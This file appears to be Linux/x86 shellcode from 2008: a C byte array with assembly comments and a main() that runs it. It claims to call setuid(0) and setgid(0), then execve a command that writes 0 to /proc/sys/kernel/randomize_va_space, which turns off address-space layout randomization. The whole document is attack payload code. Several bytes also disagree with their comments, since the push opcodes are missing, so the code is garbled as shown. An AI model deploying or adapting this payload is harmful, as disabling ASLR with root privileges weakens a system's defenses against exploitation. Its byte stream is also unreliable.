/* * Linux/x86 (Fedora 8) setuid(0) + setgid(0) + execve("echo 0 > /proc/sys/kernel/randomize_va_space") * * by LiquidWorm * * 2008 (c) www.zeroscience.org * * liquidworm [at] gmail.com * * 79 bytes. * */ char sc[] = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" // int $0x80 "\x6a\x2e" // push $0x2e "\x58" // pop %eax "\x53" // push %ebx "\xcd\x80" // int $0x80 "\x31\xd2" // xor %edx, %edx "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x52" // push %edx "\x70\x61\x63\x65" // push $0x65636170 "\x76\x61\x5f\x73" // push $0x735f6176 "\x69\x7a\x65\x5f" // push $0x5f657a69 "\x6e\x64\x6f\x6d" // push $0x6d6f646e "\x6c\x2f\x72\x61" // push $0x61722f6c "\x65\x72\x6e\x65" // push $0x656e7265 "\x73\x2f\x2f\x6b" // push $0x6b2f2f73 "\x2f\x2f\x73\x79" // push $0x79732f2f "\x70\x72\x6f\x63" // push $0x636f7270 "\x20\x3e\x20\x2f" // push $0x2f203e20 "\x68\x6f\x20\x30" // push $0x30206f68 "\x2f\x2f\x65\x63" // push $0x63652f2f "\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp, %ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp, %ecx "\xcd\x80"; // int $0x80 int main() { int (*fp)() = (int(*)())sc; printf("bytes: %u\n", strlen(sc)); fp(); }